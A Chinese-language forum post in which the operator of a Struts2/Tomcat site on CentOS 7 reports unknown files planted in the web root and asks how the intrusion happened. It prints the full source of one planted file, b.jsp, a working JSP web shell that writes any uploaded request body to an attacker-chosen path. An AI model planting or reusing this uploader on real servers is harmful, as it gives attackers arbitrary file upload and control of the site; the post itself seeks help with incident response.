struts2 的网站被人植入木马

一个JAVA WEB应用，CentOS 7 + tomcat / struts2 的网站，在ROOT根目录下莫名其妙多了如下几个文件
0 1.txt
b.jsp
bak.jsp
debug.exe
guige.jsp
IFD说锟斤拷锟斤拷.pdf
Json.dll
lndex.jsp
one.jsp
one8.jsp
wget-log

其中 b.jsp 的文件内容如下（其它的有点长，暂时不帖了）：

<%@page import="java.io.*"%><%if(request.getParameter("f")!=null){FileOutputStream os=new FileOutputStream(application.getRealPath("/")+request.getParameter("f"));InputStream is=request.getInputStream();byte[] b=new byte[512];int n;while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();}%>

初步估计是 struts2 的漏洞导致的，但没有任何线索
谁能指导一下方向

谢谢！